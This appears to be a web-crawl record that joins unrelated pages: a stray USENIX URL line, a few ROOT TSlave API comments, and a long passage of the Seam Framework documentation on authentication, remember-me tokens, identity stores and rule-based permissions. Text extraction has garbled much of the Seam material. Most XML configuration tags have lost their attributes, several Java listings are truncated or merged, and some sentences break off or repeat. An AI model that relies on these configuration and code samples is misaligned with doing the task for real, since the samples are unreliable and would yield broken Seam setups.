http://static.usenix.org/publications/library/proceedings/nt-sysadmin97/summaries/lsntsums.html
|
crawl-003
|
en
|
refinedweb
|
Adopt and register input handler for this slave. Handler will be deleted by the slave.
Setup authentication related stuff for old versions. Provided for backward compatibility.
Send interrupt OOB byte to master or slave servers. Returns 0 if ok, -1 in case of error
Sent stop/abort request to PROOF server.
Send message to intermediate coordinator. Only meaningful when there is one, i.e. in XPD framework
Set an alias for this session. If reconnection is supported, the alias will be communicated to the remote coordinator so that it can be recovered when reconnecting
{ }
{ return 0; }
{ return fProofWorkDir; }
{ return fBytesRead; }
{ return (Int_t)fSlaveType; }
{ }
|
http://root.cern.ch/root/html520/TSlave.html
|
crawl-003
|
en
|
refinedweb
|
SeamFramework.orgCommunity Documentation
The Seam Security API provides a multitude of security-related features for your Seam-based application, covering such areas as:
Authentication - an extensible, JAAS-based authentication layer that allows users to authenticate against any security provider.
Identity Management - an API for managing a Seam application's users and roles at runtime.
Authorization - an extremely comprehensive authorization framework, supporting user roles, persistent and rule-based permissions, and a pluggable permission resolver for easily implementing customised security logic.
Permission Management - a set of built-in Seam components to allow easy management of an application's security policy.
CAPTCHA support - to assist in the prevention of automated software/scripts abusing your Seam-based site.
And much more
This chapter will cover each of these features in detail.
In some situations it may be necessary to disable Seam Security, for instances during unit tests or because you
are using a different approach to security, such as native JAAS. Simply call the static method
Identity.setSecurityEnabled(false) to disable the security infrastructure. Of course, it's not
very convenient to have to call a static method when you want to configure the application, so as an alternative
you can control this setting in components.xml:
Entity Security
Hibernate Security Interceptor
Seam Security Interceptor
Page restrictions
Servlet API security integration
Assuming you are planning to take advantage of what Seam Security has to offer, the rest of this chapter documents the plethora of options you have for giving your user an identity in the eyes of the security model (authentication) and locking down the application by establishing constraints (authorization). Let's begin with the task of authentication since that's the foundation of any security model..
If you use Seam's Identity Management features (discussed later in this chapter) then it is not necessary to create an authenticator component (and you can skip this section).
The simplified authentication method provided by Seam, or alternatively to
authenticate with some other third party provider. Configuring this simplified form of authentication requires the
identity component to be configured in
components.xml:
<components xmlns=""
xmlns:core=""
xmlns:security=""
xmlns:xsi=""
xsi:
<security:identity
</components>
The EL expression
#{authenticator.authenticate} is a method binding that indicates, which indicates
whether authentication is successful or not. The user's username and password can be obtained from
Credentials.getUsername() and
Credentials.getPassword(),
respectively (you can get a reference to the
credentials component via
Identity.instance().getCredentials()). Any roles that the user is a member of
should be assigned using
Identity.addRole(). Here's a complete example of an
authentication method inside a POJO component:
@Name("authenticator")
public class Authenticator {
@In EntityManager entityManager;
@In Credentials credentials;
@In Identity identity;
public boolean authenticate() {
try {
User user = (User) entityManager.createQuery(
"from User where username = :username and password = :password")
.setParameter("username", credentials.getUsername())
.setParameter("password", credentials.getPassword())
.getSingleResult();
if (user.getRoles() != null) {
for (UserRole mr : user.getRoles())
identity.
If the current session is already authenticated, then calling
Identity.addRole() will
have the expected effect of immediately granting the specified role to the current user.
Say for example, that upon a successful login that some user statistics must be
updated. This would be done();
}
This observer method can be placed anywhere, even in the Authenticator component itself. You can find more information about security-related events later in this chapter.
The
credentials component provides both
username and
properties, catering for the most common authentication scenario. These properties can be bound directly to the
username and password fields on a login form. Once these properties are set, calling
identity.login(), and invalidate the user's session.
So to sum up, there are the three easy steps to configure authentication:
Configure an authentication method in
components.xml.
Write an authentication method.
Write a login form so that the user can authenticate.
Seam Security supports the same kind of "Remember Me" functionality that is commonly encountered in many online web-based applications. It is actually supported in two different "flavours", or modes - the first mode allows the username to be stored in the user's browser as a cookie, and leaves the entering of the password up to the browser (many modern browsers are capable of remembering passwords).
The second mode supports the storing of a unique token in a cookie, and allows a user to authenticate automatically upon returning to the site, without having to provide a password.
Automatic client authentication with a persistent cookie stored on the client machine is dangerous. While convenient for users, any cross-site scripting security hole in your website would have dramatically more serious effects than usual. Without the authentication cookie, the only cookie to steal for an attacker with XSS is the cookie of the current session of a user. This means the attack only works when the user has an open session - which should be a short timespan. However, it is much more attractive and dangerous if an attacker has the possibility to steal a persistent Remember Me cookie that allows him to login without authentication, at any time. Note that this all depends on how well you protect your website against XSS attacks - it's up to you to make sure that your website is 100% XSS safe - a non-trival achievement for any website that allows user input to be rendered on a page.
Browser vendors recognized this issue and introduced a "Remember Passwords" feature - today almost all browsers support this. Here, the browser remembers the login username and password for a particular website and domain, and fills out the login form automatically when you don't have an active session with the website. If you as a website designer then offer a convenient login keyboard shortcut, this approach is almost as convenient as a "Remember Me" cookie and much safer. Some browsers (e.g. Safari on OS X) even store the login form data in the encrypted global operation system keychain. Or, in a networked environment, the keychain can be transported with the user (between laptop and desktop for example), while browser cookies are usually not synchronized.
To summarize: While everyone is doing it, persistent "Remember Me" cookies with automatic authentication are a bad practice and should not be used. Cookies that "remember" only the users login name, and fill out the login form with that username as a convenience, are not an issue.
To enable the remember me feature for the default (safe, username only) mode, no special configuration is required.
In your login form, simply bind the remember me checkbox to
example:
<div>
<h:outputLabel
<h:inputText
</div>
<div>
<h:outputLabel
<h:inputSecret
</div>
<div class="loginRow">
<h:outputLabel
<h:selectBooleanCheckbox
</div>
To use the automatic, token-based mode of the remember me feature, you must first configure a token store. The
most common scenario is to store these authentication tokens within a database (which Seam supports), however it
is possible to implement your own token store by implementing the
org.jboss.seam.security.TokenStore
interface. This section will assume you will be using the provided
JpaTokenStore implementation
to store authentication tokens inside a database table.
The first step is to create a new Entity which will contain the tokens. The following example shows a possible structure that you may use:
@Entity
public class AuthenticationToken implements Serializable {
private Integer tokenId;
private String username;
private String value;
@Id @GeneratedValue
public Integer getTokenId() {
return tokenId;
}
public void setTokenId(Integer tokenId) {
this.tokenId = tokenId;
}
@TokenUsername
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
@TokenValue
public String getValue() {
return value;
}
public void setValue(String value) {
this.value = value;
}
}
As you can see from this listing, a couple of special annotations,
@TokenUsername and
@TokenValue are used to configure the username and token properties of the entity. These
annotations are required for the entity that will contain the authentication tokens.
The next step is to configure
JpaTokenStore to use this entity bean to store and retrieve
authentication tokens. This is done in
components.xml by specifying the
token-class
attribute:
<security:jpa-token-store
Once this is done, the last thing to do is to configure the
components.xml also. Its
mode should be set to
autoLogin:
<security:remember-me
That is all that is required - automatic authentication will now occur for users revisiting your site (as long as they check the "remember me" checkbox).
To ensure that users are automatically authenticated when returning to the site, the following section should be placed in components.xml:
<event type="org.jboss.seam.security.notLoggedIn">
<action execute="#{redirect.captureCurrentView}"/>
<action execute="#{identity.tryLogin()}"/>
</event>
<event type="org.jboss.seam.security.loginSuccessful">
<action execute="#{redirect.returnToCapturedView}"/>
</event>.
Identity Management provides a standard API for the management of a Seam application's users and roles,
regardless of which identity store (database, LDAP, etc) is used on the backend. At the center
of the Identity Management API is the
identityManager component, which provides
all the methods for creating, modifying and deleting users, granting and revoking roles, changing passwords,
enabling and disabling user accounts, authenticating users and listing users and roles.
Before it may be used, the
identityManager must first be configured with one or more
IdentityStores. These components do the actual work of interacting with the backend
security provider, whether it be a database, LDAP server, or something else.
The
identityManager component allows for separate identity stores to be configured
for authentication and authorization operations. This means that it is possible for users to
be authenticated against one identity store, for example an LDAP directory, yet have their roles
loaded from another identity store, such as a relational database.
Seam provides two
IdentityStore implementations out of the box;
JpaIdentityStore uses a relational database to store user and role information,
and is the default identity store that is used if nothing is explicitly configured in the
identityManager component. The other implementation that is provided is
LdapIdentityStore, which uses an LDAP directory to store users and roles.
There are two configurable properties for the
identityManager component -
identityStore and
roleIdentityStore. The value for these
properties must be an EL expression referring to a Seam component implementing the
IdentityStore interface. As already mentioned,
if left unconfigured then
JpaIdentityStore will be assumed by default. If
only the
identityStore property is configured, then the same value will be used for
roleIdentityStore also. For example, the following entry in
components.xml will configure
identityManager to use
an
LdapIdentityStore for both user-related and role-related operations:
<security:identity-manager
The following example configures
identityManager to use an
LdapIdentityStore
for user-related operations, and
JpaIdentityStore for role-related operations:
<security:identity-manager
The following sections explain both of these identity store implementations in greater detail.
This identity store allows for users and roles to be stored inside a relational database. It is designed to be as unrestrictive as possible in regards to database schema design, allowing a great deal of flexibility in the underlying table structure. This is achieved through the use of a set of special annotations, allowing entity beans to be configured to store user and role records.
JpaIdentityStore requires that both the
user-class and
role-class properties are configured. These properties should refer to the
entity classes that are to be used to store both user and role records, respectively. The following
example shows the configuration from
components.xml in the SeamSpace example:
<security:jpa-identity-store
As already mentioned, a set of special annotations are used to configure entity beans for storing users and roles. The following table lists each of the annotations, and their descriptions.
As mentioned previously,
JpaIdentityStore is designed to be as flexible as possible when
it comes to the database schema design of your user and role tables. This section looks at a number of
possible database schemas that can be used to store user and role records.
In this bare minimal example, a simple user and role table are linked via a
many-to-many relationship using a cross-reference table named
UserRoles.
@Entity
public class User {
private Integer userId;
private String username;
private String passwordHash;
private Set<Role> roles;
; } }
This example builds on the above minimal example by including all of the optional fields, and allowing group memberships for roles.
@Entity
public class User {
private Integer userId;
private String username;
private String passwordHash;
private Set<Role> roles;
private String firstname;
private String lastname;
private boolean enabled;
FirstName
public String getFirstname() { return firstname; }
public void setFirstname(String firstname) { this.firstname = firstname; }
@UserLastName
public String getLastname() { return lastname; }
public void setLastname(String lastname) { this.lastname = lastname; }
@UserEnabled
public boolean isEnabled() { return enabled; }
public void setEnabled(boolean enabled) { this.enabled = enabled; }
; private boolean conditional; ; } @RoleConditional public boolean isConditional() { return conditional; } public void setConditional(boolean conditional) { this.conditional = conditional; } @RoleGroups @ManyToMany(targetEntity = Role.class) @JoinTable(name = "RoleGroups", joinColumns = @JoinColumn(name = "RoleId"), inverseJoinColumns = @JoinColumn(name = "GroupId")) public Set<Role> getGroups() { return groups; } public void setGroups(Set<Role> groups) { this.groups = groups; } }
When using
JpaIdentityStore as the identity store implementation with
IdentityManager,
a few events are raised as a result of invoking certain
IdentityManager methods.
This event is raised in response to calling
IdentityManager.createUser(). Just before the user
entity is persisted to the database, this event will be raised passing the entity instance as an event parameter.
The entity will be an instance of the
user-class configured for
JpaIdentityStore.
Writing an observer for this event may be useful for setting additional field values on the entity, which aren't set
as part of the standard
createUser() functionality.
This event is also raised in response to calling
IdentityManager.createUser(). However, it is
raised after the user entity has already been persisted to the database. Like the
EVENT_PRE_PERSIST_USER
event, it also passes the entity instance as an event parameter. It may be useful to observe this event if you also
need to persist other entities that reference the user entity, for example contact detail records or other user-specific
data.
This identity store implementation is designed for working with user records stored in an LDAP directory. It is very highly configurable, allowing great flexibility in how both users and roles are stored in the directory. The following sections describe the configuration options for this identity store, and provide some configuration examples.
The following table describes the available properties that can be configured in
components.xml for
LdapIdentityStore.
The following configuration example shows how
LdapIdentityStore may be configured for
an LDAP directory running on fictional host
directory.mycompany.com. The users are stored
within this directory under the context
ou=Person,dc=mycompany,dc=com, and are identified
using the
uid attribute (which corresponds to their username). Roles are stored in their
own context,
ou=Roles,dc=mycompany,dc=com and referenced from the user's entry via the
roles attribute. Role entries are identified by their common name (the
cn attribute)
, which corresponds to the role name. In this example, users may be disabled by setting the value of their
enabled attribute to false.
<security:ldap-identity-store
Writing your own identity store implementation allows you to authenticate and perform identity management
operations against security providers that aren't supported out of the box by Seam. Only a single class is
required to achieve this, and it must implement the
org.jboss.seam.security.management.IdentityStore interface.
Please refer to the JavaDoc for
IdentityStore for a description of the methods that
must be implemented.
If you are using the Identity Management features in your Seam application, then it is not required
to provide an authenticator component (see previous Authentication section) to enable authentication.
Simply omit the
authenticator-method from the
identity configuration
in
components.xml, and the
SeamLoginModule will by default
use
IdentityManager to authenticate your application's users, without any special
configuration required.
The
IdentityManager can be accessed either by injecting it into your Seam
component as follows:
@In IdentityManager identityManager;
or by accessing it through its static
instance() method:
IdentityManager identityManager = IdentityManager.instance();
The following table describes
IdentityManager's API methods:
Using the Identity Management API requires that the calling user has the appropriate authorization to invoke
its methods. The following table describes the permission requirements for each of the methods in
IdentityManager. The permission targets listed below are literal String values.
The following code listing provides an example set of security rules that grants access to all
Identity Management-related methods to members of the
admin role:
rule ManageUsers no-loop activation-group "permissions" when check: PermissionCheck(name == "seam.user", granted == false) Role(name == "admin") then check.grant(); end rule ManageRoles no-loop activation-group "permissions" when check: PermissionCheck(name == "seam.role", granted == false) Role(name == "admin") then check.grant(); end mechanisms provided by the Seam Security API for securing access to
components, component methods, and pages. This section describes each of these. An important thing to
note is that if you wish to use any of the advanced features (such as rule-based permissions) then
your
components.xml may need to be configured to support this - see the Configuration section
above.
Seam Security is built around the premise of users being granted roles and/or permissions, allowing them to perform operations that may not otherwise be permissible for users without the necessary security privileges. Each of the authorization mechanisms provided by the Seam Security API are built upon this core concept of roles and permissions, with an extensible framework providing multiple ways to secure application resources.
A role is a group, or type, of user that may have been granted certain privileges for performing one or more specific actions within an application. They are simple constructs, consisting of just a name such as "admin", "user", "customer", etc. They can be granted either to users (or in some cases to other roles), and are used to create logical groups of users for the convenient assignment of specific application privileges.
A permission is a privilege (sometimes once-off) for performing a single, specific action. It is entirely possible to build an application using nothing but permissions, however roles offer a higher level of convenience when granting privileges to groups of users. They are slightly more complex in structure than roles, essentially consisting of three "aspects"; a target, an action, and a recipient. The target of a permission is the object (or an arbitrary name or class) for which a particular action is allowed to be performed by a specific recipient (or user). For example, the user "Bob" may have permission to delete customer objects. In this case, the permission target may be "customer", the permission action would be "delete" and the recipient would be "Bob".
Within this documentation, permissions are generally represented in the form
target:action
(omitting the recipient, although in reality one is always required).
Let's start by examining the simplest form of authorization, component security, starting with the
@Restrict annotation.
While using the
@Restrict annotation provides a powerful and flexible method for security component methods
due to its ability to support EL expressions, it is recommended that the typesafe equivalent (described later) be
used, at least for the compile-time safety it provides.(selectedAccount,'modify')}")(selectedCustomer,'delete')}");
}(cl,'modify')"/>
<s:link
<:action, where the permission target
is the entity instance, principal: Principal() memberBlog: MemberBlog(member : member -> (member.getUsername().equals(principal.getName()))) check: PermissionCheck(target == memberBlog, action == "insert", granted == false) then check.grant(); end;
This rule will grant the permission
memberBlog:insert if the currently authenticated
user (indicated by the
Principal fact) has the same name as the member for which the
blog entry is being created. The "
principal: Principal()" structure that can be seen in the
example code is a variable binding - it binds the instance of the
Principal object from the
working memory (placed there during authentication) and assigns it to a variable called
principal.>
Seam provides a number of annotations that may be used as an alternative to
@Restrict, which have
the added advantage of providing compile-time safety as they don't support arbitrary EL expressions in the same way
that
@Restrict does.
Out of the box, Seam comes with annotations for standard CRUD-based permissions, however it is a simple matter to
add your own. The following annotations are provided in the
org.jboss.seam.annotations.security package:
@Insert
@Read
@Update
@
To use these annotations, simply place them on the method or parameter for which you wish to perform a security check. If placed on a method, then they should specify a target class for which the permission will be checked. Take the following example:
@Insert(Customer.class) public void createCustomer() { ... }
In this example, a permission check will be performed for the user to ensure that they have the rights to create
new
Customer objects. The target of the permission check will be
Customer.class
(the actual
java.lang.Class instance itself), and the action is the lower case representation of the
annotation name, which in this example is
insert.
It is also possible to annotate the parameters of a component method in the same way. If this is done, then it is not required to specify a permission target (as the parameter value itself will be the target of the permission check):
public void updateCustomer(@Update Customer customer) { ... }
To create your own security annotation, you simply need to annotate it with
@PermissionCheck, for example:
@Target({METHOD, PARAMETER})
@Documented
@Retention(RUNTIME)
@Inherited
@PermissionCheck
public @interface Promote {
Class value() default void.class;
}
If you wish to override the default permisison action name (which is the lower case version of the annotation name) with
another value, you can specify it within the
@PermissionCheck annotation:
@PermissionCheck("upgrade")
In addition to supporting typesafe permission annotation, Seam Security also provides typesafe role annotations that
allow you to restrict access to component methods based on the role memberships of the currently authenticated user.
Seam provides one such annotation out of the box,
org.jboss.seam.annotations.security.Admin, used
to restrict access to a method to users that are a member of the
admin role (so long as your
own application supports such a role). To create your own role annotations, simply meta-annotate them with
org.jboss.seam.annotations.security.RoleCheck, like in the following example:
@Target({METHOD}) @Documented @Retention(RUNTIME) @Inherited @RoleCheck public @interface User { }
Any methods subsequently annotated with the
@User annotation as shown in the above example
will be automatically intercepted and the user checked for the membership of the corresponding role name
(which is the lower case version of the annotation name, in this case
user).
Seam Security provides an extensible framework for resolving application permissions. The following class diagram shows an overview of the main components of the permission framework:
The relevant classes are explained in more detail in the following sections.
This is actually an interface, which provides methods for resolving individual object permissions. Seam provides
the following built-in
PermissionResolver implementations, which are described in more detail later
in the chapter:
RuleBasedPermissionResolver - This permission resolver uses Drools to resolve rule-based
permission checks.
PersistentPermissionResolver - This permission resolver stores object permissions in a
persistent store, such as a relational database.
It is very simple to implement your own permission resolver. The
PermissionResolver
interface defines only two methods that must be implemented, as shown by the following table. By deploying
your own
PermissionResolver implementation in your Seam project, it will be automatically
scanned during deployment and registered with the default
ResolverChain.
As they are cached in the user's session, any custom
PermissionResolver
implementations must adhere to a couple of restrictions. Firstly, they may not contain any
state that is finer-grained than session scope (and the scope of the component itself should
either be application or session). Secondly, they must not use dependency
injection as they may be accessed from multiple threads simultaneously. In fact, for
performance reasons it is recommended that they are annotated with
@BypassInterceptors to bypass Seam's interceptor stack altogether.
A
ResolverChain contains an ordered list of
PermissionResolvers, for the
purpose of resolving object permissions for a particular object class or permission target.
The default
ResolverChain consists of all permission resolvers discovered during
application deployment. The
org.jboss.seam.security.defaultResolverChainCreated
event is raised (and the
ResolverChain instance passed as an event parameter)
when the default
ResolverChain is created. This allows additional resolvers that
for some reason were not discovered during deployment to be added, or for resolvers that are in the
chain to be re-ordered or removed.
The following sequence diagram shows the interaction between the components of the permission framework during a
permission check (explanation follows). A permission check can originate from a number of possible sources,
for example - the security interceptor, the
s:hasPermission EL function, or via an API
call to
Identity.checkPermission:
1. A permission check is initiated somewhere (either in code or via an EL
expression) resulting in a call to
Identity.hasPermission().
1.1.
Identity invokes
PermissionMapper.resolvePermission(), passing in the
permission to be resolved.
1.1.1.
PermissionMapper maintains a
Map of
ResolverChain instances, keyed by class. It uses this map
to locate the correct
ResolverChain for the permission's
target object. Once it has the correct
ResolverChain, it
retrieves the list of
PermissionResolvers it contains via
a call to
ResolverChain.getResolvers().
1.1.2. For each
PermissionResolver in the
ResolverChain,
the
PermissionMapper invokes its
hasPermission() method,
passing in the permission instance to be checked. If any of the
PermissionResolvers
return
true, then the permission check has succeeded and the
PermissionMapper also returns
true to
Identity.
If none of the
PermissionResolvers return true, then the permission check
has failed.
One of the built-in permission resolvers provided by Seam,
RuleBasedPermissionResolver
allows permissions to be evaluated based on a set of Drools (JBoss Rules) security rules. A couple of the
advantages of using a rule engine are 1) a centralized location for the business logic that is used to
evaluate user permissions, and 2) speed - Drools uses very efficient algorithms for evaluating large
numbers of complex rules involving multiple conditions.
If using the rule-based permission features provided by Seam Security, the following jar files are required by Drools to be distributed with your project:
drools-api.jar
drools-compiler.jar
drools-core.jar
janino.jar
antlr-runtime.jar
mvel2.jar
The configuration for
RuleBasedPermissionResolver requires that a Drools rule base is first
configured in
components.xml. By default, it expects that the rule base is named
securityRules, as per the following example:
<components xmlns=""
xmlns:core=""
xmlns:security=""
xmlns:drools=""
xmlns:xsi=""
xsi:
<drools:rule-base
<drools:rule-files>
<value>/META-INF/security.drl</value>
</drools:rule-files>
</drools:rule-base>
</components>
The default rule base name can be overridden by specifying the
security-rules
property for
RuleBasedPermissionResolver:
<security:rule-based-permission-resolver
Once the
RuleBase component is configured, it's time to write the security rules.
The first step to writing security rules is to create a new rule file in the
/META-INF
directory of your application's jar file. Usually this file would be named something like
security.drl, however you can name it whatever you like as long as it is configured
correspondingly in
components.xml.
So what should the security rules file contain? At this stage it might be a good idea to at least skim through the Drools documentation, however to get started here's an extremely simple example:
package MyApplicationPermissions; import org.jboss.seam.security.permission.PermissionCheck; import org.jboss.seam.security.Role; rule CanUserDeleteCustomers when c: PermissionCheck(target == "customer", action == "delete") Role(name == "admin") then c.grant(); end
Let's break this down step by step. The first thing we see is the package declaration. A package in Drools(target == "customer", action == "delete")
In plain english, this condition is stating that there must exist a
PermissionCheck object
with a
target") then a
PermissionCheck object with a
target actually a member of
that role. Besides the
PermissionCheck and
Role facts, the working
memory also contains the
java.security.Principal object that was created as a result of
the authentication process.
It is also possible to insert additional long-lived facts into the working memory by calling
RuleBasedPermissionResolver (in this case, the
PermissionCheck). Moving on to the
second line of our LHS, we see this:
Role(name == "admin")
This condition simply states that there must be a
Role object with a
name of "admin" within the working memory. As already.
So far we have only seen permission checks for String-literal permission targets. It is of course also
possible to write security rules for permission targets of more complex types. For example, let's say that you wish
to write a security rule to allow your users to create blog comments. The following rule demonstrates
how this may be expressed, by requiring the target of the permission check to be an instance of
MemberBlog, and also requiring that the currently authenticated user is a member of the
user role:
rule CanCreateBlogComment no-loop activation-group "permissions" when blog: MemberBlog() check: PermissionCheck(target == blog, action == "create", granted == false) Role(name == "user") then check.grant(); end
It is possible to implement a wildcard permission check (which allows all actions for a given permission
target), by omitting the
action constraint for the
PermissionCheck in
your rule, like this:
rule CanDoAnythingToCustomersIfYouAreAnAdmin when c: PermissionCheck(target == "customer") Role(name == "admin") then c.grant(); end;
This rule allows users with the
admin role to perform any action for
any
customer permission check.
Another built-in permission resolver provided by Seam,
PersistentPermissionResolver
allows permissions to be loaded from persistent storage, such as a relational database. This permission
resolver provides ACL style instance-based security, allowing for specific object permissions to be assigned
to individual users and roles. It also allows for persistent, arbitrarily-named permission targets (not
necessarily object/class based) to be assigned in the same way.
Before it can be used,
PersistentPermissionResolver must be configured with a
valid
PermissionStore in
components.xml. If not configured,
it will attempt to use the default permission store,
JpaIdentityStore (see section
further down for details). To use a permission store other than the default, configure the
permission-store property as follows:
<security:persistent-permission-resolver
A permission store is required for
PersistentPermissionResolver to connect to the
backend storage where permissions are persisted. Seam provides one
PermissionStore
implementation out of the box,
JpaPermissionStore, which is used to store
permissions inside a relational database. It is possible to write your own permission store
by implementing the
PermissionStore interface, which defines the following
methods:
This is the default
PermissionStore implementation (and the only one provided by Seam), which
uses a relational database to store permissions. Before it can be used it must be configured with either one or
two entity classes for storing user and role permissions. These entity classes must be annotated with a special
set of security annotations to configure which properties of the entity correspond to various aspects of the
permissions being stored.
If you wish to use the same entity (i.e. a single database table) to store both user and role permissions, then
only the
user-permission-class property is required to be configured. If you wish to use
separate tables for storing user and role permissions, then in addition to the
user-permission-class
property you must also configure the
role-permission-class property.
For example, to configure a single entity class to store both user and role permissions:
<security:jpa-permission-store
To configure separate entity classes for storing user and role permissions:
<security:jpa-permission-store
As mentioned, the entity classes that contain the user and role permissions must be configured with a
special set of annotations, contained within the
org.jboss.seam.annotations.security.permission package.
The following table lists each of these annotations along with a description of how they are used:
Here is an example of an entity class that is used to store both user and role permissions. The following class can be found inside the SeamSpace example:
@Entity
public class AccountPermission implements Serializable {
private Integer permissionId;
private String recipient;
private String target;
private String action;
private String discriminator;
@Id @GeneratedValue
public Integer getPermissionId() {
return permissionId;
}
public void setPermissionId(Integer permissionId) {
this.permissionId = permissionId;
}
@PermissionUser @PermissionRole
public String getRecipient() {
return recipient;
}
public void setRecipient(String recipient) {
this.recipient = recipient;
}
@PermissionTarget
public String getTarget() {
return target;
}
public void setTarget(String target) {
this.target = target;
}
@PermissionAction
public String getAction() {
return action;
}
public void setAction(String action) {
this.action = action;
}
@PermissionDiscriminator
public String getDiscriminator() {
return discriminator;
}
public void setDiscriminator(String discriminator) {
this.discriminator = discriminator;
}
}
As can be seen in the above example, the
getDiscriminator() method has been annotated
with the
@PermissionDiscriminator annotation, to allow
JpaPermissionStore to
determine which records represent user permissions and which represent role permissions. In addition, it
can also be seen that the
getRecipient() method is annotated with both
@PermissionUser and
@PermissionRole annotations. This is perfectly valid,
and simply means that the
recipient property of the entity will either contain the name
of the user or the name of the role, depending on the value of the
discriminator property.
A further set of class-specific annotations can be used to configure a specific set of allowable permissions
for a target class. These permissions can be found in the
org.jboss.seam.annotation.security.permission
package:
Here's an example of the above annotations in action. The following class can also be found in the SeamSpace example:
@Permissions({
@Permission(action = "view"),
@Permission(action = "comment")
})
@Entity
public class MemberImage implements Serializable {
This example demonstrates how two allowable permission actions,
view and
comment
can be declared for the entity class
MemberImage.
By default, multiple permissions for the same target object and recipient will be persisted as a single database record,
with the
action property/column containing a comma-separated list of the granted actions. To reduce
the amount of physical storage required to persist a large number of permissions, it is possible to use a bitmasked
integer value (instead of a comma-separated list) to store the list of permission actions.
For example, if recipient "Bob" is granted both the
view and
comment permissions
for a particular
MemberImage (an entity bean) instance, then by default the
action property of the
permission entity will contain "
view,comment", representing the two granted permission actions.
Alternatively, if using bitmasked values for the permission actions, as defined like so:
@Permissions({
@Permission(action = "view", mask = 1),
@Permission(action = "comment", mask = 2)
})
@Entity
public class MemberImage implements Serializable {
The
action property will instead simply contain "3" (with both the 1 bit and 2 bit switched on). Obviously
for a large number of allowable actions for any particular target class, the storage required for the permission records
is greatly reduced by using bitmasked actions.
Obviously, it is very important that the
mask values specified are powers of 2.
When storing or looking up permissions,
JpaPermissionStore must be able to uniquely identify specific
object instances to effectively operate on its permissions. To achieve this, an identifier strategy
may be assigned to each target class for the generation of unique identifier values. Each identifier strategy
implementation knows how to generate unique identifiers for a particular type of class, and it is a simple matter to
create new identifier strategies.
The
IdentifierStrategy interface is very simple, declaring only two methods:
public interface IdentifierStrategy {
boolean canIdentify(Class targetClass);
String getIdentifier(Object target);
}
The first method,
canIdentify() simply returns
true if the identifier strategy
is capable of generating a unique identifier for the specified target class. The second method,
getIdentifier() returns the unique identifier value for the specified target object.
Seam provides two
IdentifierStrategy implementations,
ClassIdentifierStrategy
and
EntityIdentifierStrategy (see next sections for details).
To explicitly configure a specific identifier strategy to use for a particular class, it should be annotated with
org.jboss.seam.annotations.security.permission.Identifier, and the value should be set to
a concrete implementation of the
IdentifierStrategy interface. An optional
name
property can also be specified, the effect of which is dependent upon the actual
IdentifierStrategy
implementation used.
This identifier strategy is used to generate unique identifiers for classes, and will use the value of the
name (if specified) in the
@Identifier annotation. If there is no
name property provided, then it will attempt to use the component name of the class
(if the class is a Seam component), or as a last resort it will create an identifier based on the name
of the class (excluding the package name). For example, the identifier for the following class will
be "
customer":
@Identifier(name = "customer")
public class Customer {
The identifier for the following class will be "
customerAction":
@Name("customerAction")
public class CustomerAction {
Finally, the identifier for the following class will be "
Customer":
public class Customer {
This identifier strategy is used to generate unique identifiers for entity beans. It does so by
concatenating the entity name (or otherwise configured name) with a string representation of the
primary key value of the entity. The rules for generating the name section of the identifier are
similar to
ClassIdentifierStrategy. The primary key value (i.e. the
id of the entity) is obtained using the
PersistenceProvider
component, which is able to correctly determine the value regardless of which persistence implementation
is used within the Seam application. For entities not annotated with
@Entity, it is
necessary to explicitly configure the identifier strategy on the entity class itself, for example:
@Identifier(value = EntityIdentifierStrategy.class)
public class Customer {
For an example of the type of identifier values generated, assume we have the following entity class:
@Entity
public class Customer {
private Integer id;
private String firstName;
private String lastName;
; }
}
For a
Customer instance with an
id value of
1,
the value of the identifier would be "
Customer:1". If the entity class is annotated
with an explicit identifier name, like so:
@Entity
@Identifier(name = "cust")
public class Customer {
Then a
Customer with an
id value of
123
would have an identifier value of "
cust:123".
In much the same way that Seam Security provides an Identity Management API for the management of users and roles,
it also provides a Permissions Management API for the management of persistent user permissions, via the
PermissionManager component.
The
PermissionManager component is an application-scoped Seam component that provides a number of
methods for managing permissions. Before it can be used, it must be configured with a permission store (although by
default it will attempt to use
JpaPermissionStore if it is available). To explicitly configure a
custom permission store, specify the
permission-store property in components.xml:
<security:permission-manager
The following table describes each of the available methods provided by
PermissionManager:
Invoking the methods of
PermissionManager requires that the currently-authenticated user
has the appropriate authorization to perform that management operation. The following table lists the required
permissions that the current user must have.:
<web:session
This option helps make your system less vulnerable to sniffing of the session id or leakage of sensitive data from pages using HTTPS to other pages using HTTP.
If you wish to configure the HTTP and HTTPS ports manually, they may be configured in
pages.xml by specifying the
http-port and
https-port attributes on the
pages element:
<pages xmlns=""
xmlns:xsi=""
xsi: in response to certain security-related events.
calling its
addRole() method to provide a set of roles to masquerade
as for the duration of the operation. The
execute() method contains the
code that will be executed with the elevated privileges.
new RunAsOperation() {
public void execute() {
executePrivilegedOperation();
}
}.addRole("admin")
. The following example (contrived, as credentials would normally
be handled by the
Credentials component instead)();
}
}
Note that an
Identity component must be marked
@Startup, so that it is
available immediately after the
SESSION context begins. Failing to do this may render
certain Seam functionality inoperable in your application.
OpenID is a community standard for external web-based authentication. The basic idea is that any web application can supplement (or replace) its local handling of authentication by delegating responsibility to an external OpenID server of the user's chosing. This benefits the user, who no longer has to remember a name and password for every web application he uses, and the developer, who is relieved of some of the burden of maintaining a complex authentication system.
When using OpenID, the user selects an OpenID provider, and the provider assigns the user
an OpenID. The id will take the form of a URL, for example however,
it's acceptable to leave off the
http:// part of the identifier when logging into a site. The web application
(known as a relying party in OpenID-speak) determines which OpenID server to contact and redirects the user to the remote
site for authentication. Upon successful authentication the user is given
the (cryptographically secure) token proving his identity and is redirected back to the original web application.The
local web application can then be sure the user accessing the application controls the OpenID he presented.
It's important to realize at this point that authentication does not imply authorization. The web application still needs to make a determination of how to use that information. The web application could treat the user as instantly logged in and give full access to the system or it could try and map the presented OpenID to a local user account, prompting the user to register if he hasn't already. The choice of how to handle the OpenID is left as a design decision for the local application.
Seam uses the openid4java package and requires four additional JARs to make use of the Seam integration. These
are:
htmlparser.jar,
openid4java.jar,
openxri-client.jar
and
openxri-syntax.jar.
OpenID processing requires the use of the
OpenIdPhaseListener, which should be added to your
faces-config.xml file. The phase listener processes the callback from the OpenID provider, allowing
re-entry into the local application.
<lifecycle>
<phase-listener>org.jboss.seam.security.openid.OpenIdPhaseListener</phase-listener>
</lifecycle>
With this configuration, OpenID support is available to your application.
The OpenID support component,
org.jboss.seam.security.openid.openid, is installed automatically if the openid4java
classes are on the classpath.
To initiate an OpenID login, you can present a simply form to the user asking for the user's OpenID. The
#{openid.id}
value
accepts the user's OpenID and the
#{openid.login} action initiates an authentication request.
<h:form>
<h:inputText
<h:commandButton
